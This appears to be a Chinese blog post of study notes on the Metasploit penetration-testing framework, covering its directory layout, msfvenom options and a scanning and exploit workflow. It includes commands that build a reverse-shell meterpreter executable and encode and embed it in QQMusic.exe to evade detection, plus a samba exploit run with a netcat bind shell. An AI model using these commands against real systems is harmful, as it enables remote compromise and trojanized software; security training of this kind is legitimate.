Metasploit学习

前言

Metasploit是一款开源的安全漏洞检测工具,包含辅助、漏洞利用、编码、攻击载荷等模块。Metasploit本身附带数百个已知软件漏洞的专业级漏洞攻击工具,能快速获取、开发并对计算机软件漏洞实施攻击。

目录结构

metasploit在linux下的目录位置:

usr/share/metasploit-framework

modules是存放模块的目录

auxiliary(辅助模块):辅助渗透测试,扫描端口、爆破密码、嗅探、指纹识别

exploits(漏洞利用模块):包含漏洞利用脚本,对目标进行漏洞利用

payloads(攻击载荷):攻击成功后在目标机器执行的代码

encoders(编码模块):对payload进行编码以绕过入侵检测

post(后渗透模块):成功获取meterpreter后对目标发送指令

evasion(躲避模块):生成免杀payload

plugins是存放插件的目录

tools存放其它工具

config存放配置文件和执行文件

scripts存放辅助的脚本

db存放数据库文件

data存放数据文件,例如字典

Msfvenom

Kali中Msfvenom代替msfpayload和msfencode

常用参数:

        -l (列出指定模块可用的资源)

payloads/encoders/nops/all

        -p(指定payload)

        -f(指定输出的文件格式)

        -o(payload文件输出)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhos192.168.108.236 lport=9999 -f exe -o test1.exe

        -e(指定编码器)

        -a(指定payload的目标架构平台)

       

        -b(设定规避字符集)

        -n(为payload预先指定一个NOP长度)

        -s(指定payload长度)

        -i(指定编码次数)

        -c(指定一个附加的win32 shellcode文件)

        -x(指定一个自定义的可执行文件并嵌入payload)

        -k(保护模板程序的动作,注入的payload作为一个新的进程运行)

        -v(指定自定义变量)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhos192.168.108.236 lport=9999 -e x86/shikata_ga_nai -b '\x00\xff'-i 10 -x QQMusic.exe -f exe -o new1.exe

auxuliary模块

扫描存活主机

use auxiliary/scanner/discovery/arp_sweep

端口扫描

use auxiliary/scanner/portscan/syn

查看需要配置的选项

show options

 设置需要配置的参数

set rhost 192.169.22.33

搜索模块

search platform:windows cve:2009 type:exploit

 exploit模块

使用渗透攻击模块

use exploit/multi/samba/usermap_script

查看与该渗透攻击模块相兼容的攻击载荷

show payloads

设置攻击载荷

set payload cmd/unix/bind_netcat

查看需要配置参数

options

设置需要配置的参数

set rhost 192.169.22.33

开始攻击

run

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值